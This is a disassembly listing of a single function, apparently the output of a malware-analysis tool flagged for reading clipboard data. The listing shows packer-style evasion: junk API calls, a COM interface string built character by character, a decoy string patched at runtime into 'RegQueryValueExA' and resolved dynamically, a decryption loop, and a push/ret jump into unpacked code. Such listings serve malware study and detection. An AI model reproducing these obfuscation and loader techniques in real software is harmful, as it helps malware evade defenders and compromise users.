Function at 0x401110
Capabilities:
Read clipboard data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
push edi
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0
push 0x45c318
call dword [sym.imp.GDI32.dll_AddFontResourceW]
mov eax, dword [0x45d014]
push eax
call dword [sym.imp.USER32.dll_IsWindowUnicode]
call dword [sym.imp.GDI32.dll_GdiGetBatchLimit]
call dword [sym.imp.USER32.dll_GetKBCodePage]
call dword [sym.imp.USER32.dll_GetMessageExtraInfo]
mov ecx, dword [0x45d014]
push ecx
call dword [sym.imp.GDI32.dll_AbortDoc]
mov edx, dword [0x45d014]
push edx
call dword [sym.imp.GDI32.dll_GetSystemPaletteUse]
mov eax, dword [0x45d014]
push eax
call dword [sym.imp.GDI32.dll_UpdateColors]
mov ecx, dword [0x45d014]
push ecx
call dword [sym.imp.USER32.dll_IsMenu]
mov edx, dword [0x45d014]
push edx
call dword [sym.imp.USER32.dll_DestroyMenu]
movzx eax, byte [0x45d014]
push eax
call dword [sym.imp.USER32.dll_IsCharAlphaNumericA]
mov ecx, dword [0x45d014]
push ecx
call dword [sym.imp.USER32.dll_GetMenuItemCount]
movzx edx, byte [0x45d014]
push edx
call dword [sym.imp.USER32.dll_IsCharLowerA]
mov eax, dword [0x45d014]
push eax
call dword [sym.imp.GDI32.dll_GetPixelFormat]
call dword [sym.imp.USER32.dll_GetMenuCheckMarkDimensions]
mov ecx, dword [0x45d014]
push ecx
call dword [sym.imp.USER32.dll_IsIconic]
push str.mphsqORGbN
call dword [sym.imp.USER32.dll_LoadCursorFromFileW]
mov edx, dword [0x45d014]
push edx
call dword [sym.imp.GDI32.dll_GetGraphicsMode]
call dword [sym.imp.USER32.dll_GetDialogBaseUnits]
call dword [sym.imp.USER32.dll_GetCapture]
mov eax, dword [0x45d014]
push eax
call dword [sym.imp.USER32.dll_GetMenu]
push str.yqAhMnhTIM
call dword [sym.imp.USER32.dll_LoadCursorFromFileA]
mov ecx, dword [0x45d014]
push ecx
call dword [sym.imp.USER32.dll_GetClipboardData]
mov edx, dword [0x45d014]
push edx
call dword [sym.imp.GDI32.dll_GetColorSpace]
mov eax, dword [0x45d014]
push eax
call dword [sym.imp.GDI32.dll_GetStretchBltMode]
call dword [sym.imp.USER32.dll_GetCapture]
mov ecx, dword [0x45d014]
push ecx
call dword [sym.imp.GDI32.dll_EndDoc]
movzx edx, word [0x45d014]
push edx
call dword [sym.imp.USER32.dll_IsCharUpperW]
push str.GQYiUeFvmt
call dword [sym.imp.USER32.dll_CharUpperA]
mov eax, dword [0x45d014]
push eax
call dword [sym.imp.GDI32.dll_CreatePatternBrush]
mov edi, edi
mov edi, edi
mov edx, dword [ebp + 8]
mov edi, edi
mov dword [0x45d01c], edx
mov dword [0x45cffc], ebp
mov dword [ebp - 4], 0
push 1
call fcn.00402180
add esp, 4
push 2
call fcn.00402180
add esp, 4
push 0xb56c
call fcn.004010c0
add esp, 4
jmp 0x4012ae
call fcn.004010f0
push 4
push 4
call fcn.004021a0
add esp, 8
mov dword [0x45d038], 0
mov ecx, dword [0x45d038]
add ecx, 0x6e
mov edx, dword [0x45d038]
mov eax, dword [0x45c310]
mov word [eax + edx*2 + 2], cx
mov ecx, dword [0x45d038]
add ecx, 0x74
mov edx, dword [0x45d038]
mov eax, dword [0x45c310]
mov word [eax + edx*2 + 4], cx
mov ecx, dword [0x45d038]
add ecx, 0x65
mov edx, dword [0x45d038]
mov eax, dword [0x45c310]
mov word [eax + edx*2 + 6], cx
mov ecx, dword [0x45d038]
add ecx, 0x72
mov edx, dword [0x45d038]
mov eax, dword [0x45c310]
mov word [eax + edx*2 + 8], cx
push 1
call fcn.00402180
add esp, 4
push 2
call fcn.00402180
add esp, 4
push 0xb56c
call fcn.004010c0
add esp, 4
mov ecx, dword [0x45d038]
add ecx, 0x66
mov edx, dword [0x45d038]
mov eax, dword [0x45c310]
mov word [eax + edx*2 + 0xa], cx
mov ecx, dword [0x45d038]
add ecx, 0x69
mov edx, dword [0x45d038]
mov eax, dword [0x45c310]
mov word [eax + edx*2], cx
mov ecx, dword [0x45d038]
add ecx, 0x61
mov edx, dword [0x45d038]
mov eax, dword [0x45c310]
mov word [eax + edx*2 + 0xc], cx
mov ecx, dword [0x45d038]
add ecx, 0x63
mov edx, dword [0x45d038]
mov eax, dword [0x45c310]
mov word [eax + edx*2 + 0xe], cx
mov ecx, dword [0x45d038]
add ecx, 0x65
mov edx, dword [0x45d038]
mov eax, dword [0x45c310]
mov word [eax + edx*2 + 0x10], cx
mov ecx, dword [0x45d038]
add ecx, 0x5c
mov edx, dword [0x45d038]
mov eax, dword [0x45c310]
mov word [eax + edx*2 + 0x12], cx
mov ecx, dword [0x45d038]
add ecx, 0x7b
mov edx, dword [0x45d038]
mov eax, dword [0x45c310]
mov word [eax + edx*2 + 0x14], cx
mov ecx, dword [0x45d038]
add ecx, 0x61
mov edx, dword [0x45d038]
mov eax, dword [0x45c310]
mov word [eax + edx*2 + 0x16], cx
mov ecx, dword [0x45d038]
add ecx, 0x61
mov edx, dword [0x45d038]
mov eax, dword [0x45c310]
mov word [eax + edx*2 + 0x18], cx
mov ecx, dword [0x45d038]
add ecx, 0x35
mov edx, dword [0x45d038]
mov eax, dword [0x45c310]
mov word [eax + edx*2 + 0x1a], cx
mov ecx, dword [0x45d038]
add ecx, 0x62
mov edx, dword [0x45d038]
mov eax, dword [0x45c310]
mov word [eax + edx*2 + 0x1c], cx
mov ecx, dword [0x45d038]
add ecx, 0x36
mov edx, dword [0x45d038]
mov eax, dword [0x45c310]
mov word [eax + edx*2 + 0x1e], cx
mov ecx, dword [0x45d038]
add ecx, 0x61
mov edx, dword [0x45d038]
mov eax, dword [0x45c310]
mov word [eax + edx*2 + 0x20], cx
mov ecx, dword [0x45d038]
add ecx, 0x38
mov edx, dword [0x45d038]
mov eax, dword [0x45c310]
mov word [eax + edx*2 + 0x22], cx
mov ecx, dword [0x45d038]
add ecx, 0x30
mov edx, dword [0x45d038]
mov eax, dword [0x45c310]
mov word [eax + edx*2 + 0x24], cx
mov ecx, dword [0x45d038]
add ecx, 0x2d
mov edx, dword [0x45d038]
mov eax, dword [0x45c310]
mov word [eax + edx*2 + 0x26], cx
mov ecx, dword [0x45d038]
add ecx, 0x62
mov edx, dword [0x45d038]
mov eax, dword [0x45c310]
mov word [eax + edx*2 + 0x28], cx
mov ecx, dword [0x45d038]
add ecx, 0x38
mov edx, dword [0x45d038]
mov eax, dword [0x45c310]
mov word [eax + edx*2 + 0x2a], cx
mov ecx, dword [0x45d038]
add ecx, 0x33
mov edx, dword [0x45d038]
mov eax, dword [0x45c310]
mov word [eax + edx*2 + 0x2c], cx
push 1
call fcn.00402180
add esp, 4
push 2
call fcn.00402180
add esp, 4
push 0xb56c
call fcn.004010c0
add esp, 4
mov ecx, dword [0x45d038]
add ecx, 0x34
mov edx, dword [0x45d038]
mov eax, dword [0x45c310]
mov word [eax + edx*2 + 0x2e], cx
mov ecx, dword [0x45d038]
add ecx, 0x2d
mov edx, dword [0x45d038]
mov eax, dword [0x45c310]
mov word [eax + edx*2 + 0x30], cx
mov ecx, dword [0x45d038]
add ecx, 0x31
mov edx, dword [0x45d038]
mov eax, dword [0x45c310]
mov word [eax + edx*2 + 0x32], cx
mov ecx, dword [0x45d038]
add ecx, 0x31
mov edx, dword [0x45d038]
mov eax, dword [0x45c310]
mov word [eax + edx*2 + 0x34], cx
mov ecx, dword [0x45d038]
add ecx, 0x64
mov edx, dword [0x45d038]
mov eax, dword [0x45c310]
mov word [eax + edx*2 + 0x36], cx
mov ecx, dword [0x45d038]
add ecx, 0x30
mov edx, dword [0x45d038]
mov eax, dword [0x45c310]
mov word [eax + edx*2 + 0x38], cx
mov ecx, dword [0x45d038]
add ecx, 0x2d
mov edx, dword [0x45d038]
mov eax, dword [0x45c310]
mov word [eax + edx*2 + 0x3a], cx
mov ecx, dword [0x45d038]
add ecx, 0x39
mov edx, dword [0x45d038]
mov eax, dword [0x45c310]
mov word [eax + edx*2 + 0x3c], cx
mov ecx, dword [0x45d038]
add ecx, 0x33
mov edx, dword [0x45d038]
mov eax, dword [0x45c310]
mov word [eax + edx*2 + 0x3e], cx
mov ecx, dword [0x45d038]
add ecx, 0x32
mov edx, dword [0x45d038]
mov eax, dword [0x45c310]
mov word [eax + edx*2 + 0x40], cx
mov ecx, dword [0x45d038]
add ecx, 0x66
mov edx, dword [0x45d038]
mov eax, dword [0x45c310]
mov word [eax + edx*2 + 0x42], cx
mov ecx, dword [0x45d038]
add ecx, 0x2d
mov edx, dword [0x45d038]
mov eax, dword [0x45c310]
mov word [eax + edx*2 + 0x44], cx
mov ecx, dword [0x45d038]
add ecx, 0x30
mov edx, dword [0x45d038]
mov eax, dword [0x45c310]
mov word [eax + edx*2 + 0x46], cx
mov ecx, dword [0x45d038]
add ecx, 0x30
mov edx, dword [0x45d038]
mov eax, dword [0x45c310]
mov word [eax + edx*2 + 0x48], cx
mov ecx, dword [0x45d038]
add ecx, 0x61
mov edx, dword [0x45d038]
mov eax, dword [0x45c310]
mov word [eax + edx*2 + 0x4a], cx
mov ecx, dword [0x45d038]
add ecx, 0x30
mov edx, dword [0x45d038]
mov eax, dword [0x45c310]
mov word [eax + edx*2 + 0x4c], cx
mov ecx, dword [0x45d038]
add ecx, 0x63
mov edx, dword [0x45d038]
mov eax, dword [0x45c310]
mov word [eax + edx*2 + 0x4e], cx
mov ecx, dword [0x45d038]
add ecx, 0x39
mov edx, dword [0x45d038]
mov eax, dword [0x45c310]
mov word [eax + edx*2 + 0x50], cx
mov ecx, dword [0x45d038]
add ecx, 0x30
mov edx, dword [0x45d038]
mov eax, dword [0x45c310]
mov word [eax + edx*2 + 0x52], cx
mov ecx, dword [0x45d038]
add ecx, 0x64
mov edx, dword [0x45d038]
mov eax, dword [0x45c310]
mov word [eax + edx*2 + 0x54], cx
mov ecx, dword [0x45d038]
add ecx, 0x63
mov edx, dword [0x45d038]
mov eax, dword [0x45c310]
mov word [eax + edx*2 + 0x56], cx
mov ecx, dword [0x45d038]
add ecx, 0x61
mov edx, dword [0x45d038]
mov eax, dword [0x45c310]
mov word [eax + edx*2 + 0x58], cx
push 1
call fcn.00402180
add esp, 4
push 2
call fcn.00402180
add esp, 4
push 0xb56c
call fcn.004010c0
add esp, 4
mov ecx, dword [0x45d038]
add ecx, 0x61
mov edx, dword [0x45d038]
mov eax, dword [0x45c310]
mov word [eax + edx*2 + 0x5a], cx
mov ecx, dword [0x45d038]
add ecx, 0x39
mov edx, dword [0x45d038]
mov eax, dword [0x45c310]
mov word [eax + edx*2 + 0x5c], cx
mov ecx, dword [0x45d038]
add ecx, 0x7d
mov edx, dword [0x45d038]
mov eax, dword [0x45c310]
mov word [eax + edx*2 + 0x5e], cx
mov ecx, dword [0x45d038]
mov edx, dword [0x45c310]
mov ax, word [0x45d038]
mov word [edx + ecx*2 + 0x60], ax
mov ecx, dword [0x45d038]
add ecx, 0x61
mov edx, dword [0x45d038]
mov eax, dword [0x45c310]
mov word [eax + edx*2 + 0x5a], cx
mov ecx, dword [0x45d038]
add ecx, 0x39
mov edx, dword [0x45d038]
mov eax, dword [0x45c310]
mov word [eax + edx*2 + 0x5c], cx
mov ecx, dword [0x45d038]
add ecx, 0x7d
mov edx, dword [0x45d038]
mov eax, dword [0x45c310]
mov word [eax + edx*2 + 0x5e], cx
mov ecx, dword [0x45d038]
mov edx, dword [0x45c310]
mov ax, word [0x45d038]
mov word [edx + ecx*2 + 0x60], ax
sub dword [0x45c250], 2
jmp 0x40185d
jmp 0x40185f
jmp 0x401861
jmp 0x401863
jmp 0x401865
push 0x45dab8
mov ecx, dword [0x45c310]
push ecx
mov edx, dword [0x45c250]
push edx
call dword [0x45da9c]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
je 0x40188e
xor eax, eax
jmp 0x401a2f
mov dword [ebp - 0x24], str.rr3r3ery2alueExA
mov dword [ebp - 0x28], str.xdvapi32
mov eax, dword [ebp - 0x24]
mov byte [eax], 0x52
mov ecx, dword [ebp - 0x24]
mov byte [ecx + 1], 0x65
mov edx, dword [ebp - 0x24]
mov byte [edx + 2], 0x67
mov eax, dword [ebp - 0x24]
mov byte [eax + 3], 0x51
mov ecx, dword [ebp - 0x24]
mov byte [ecx + 4], 0x75
mov edx, dword [ebp - 0x24]
mov byte [edx + 8], 0x56
mov eax, dword [ebp - 0x28]
mov byte [eax], 0x61
mov ecx, dword [ebp - 0x24]
push ecx
mov edx, dword [ebp - 0x28]
push edx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x45da94], eax
call fcn.00401cb0
mov dword [0x45d024], eax
push 0x192c
call fcn.00401fb0
add esp, 4
mov dword [0x45cfe4], eax
push 0x18b2
call fcn.00401000
add esp, 4
jmp 0x401910
mov dword [0x45d008], 0
mov eax, dword [0x45d008]
mov dword [0x45d00c], eax
mov dword [0x45d004], 2
mov dword [ebp - 0x2c], 0
mov ecx, dword [0x45d00c]
mov dword [0x45d00c], ecx
mov edx, dword [0x45cfe8]
add edx, dword [ebp - 0x2c]
push edx
mov eax, dword [0x45c25c]
add eax, dword [ebp - 0x2c]
push eax
call fcn.004021a0
add esp, 8
mov dword [ebp - 8], eax
mov ecx, dword [0x45d008]
cmp ecx, dword [0x45cfe4]
jb 0x401972
jmp 0x401a0c
push 1
call fcn.00402180
add esp, 4
push 2
call fcn.00402180
add esp, 4
push 0xb56c
call fcn.004010c0
add esp, 4
mov edx, dword [ebp - 8]
push edx
call fcn.00401ff0
add esp, 4
mov eax, dword [ebp - 8]
mov dword [0x45cfec], eax
mov ecx, dword [0x45c25c]
mov edx, dword [0x45d004]
lea eax, [edx + ecx + 0xf1]
sub eax, dword [ebp - 0x2c]
add eax, dword [0x45d00c]
mov dword [0x45d00c], eax
mov ecx, dword [0x45d00c]
sub ecx, 0xf1
mov dword [0x45d00c], ecx
mov edx, dword [0x45c25c]
add edx, dword [ebp - 0x2c]
add edx, dword [0x45d008]
mov dword [0x45d008], edx
mov eax, dword [0x45cfe8]
sub eax, dword [0x45cfec]
mov dword [0x45cfe8], eax
cmp dword [0x45d028], 0
jne 0x40192e
jmp 0x401a0e
jmp 0x401a10
push 0x1100
push 0x849f6
call fcn.00401f00
add esp, 8
mov edx, 0x46d8e7
sub edx, 0x6bca7
push edx
ret
pop edi
mov esp, ebp
pop ebp
ret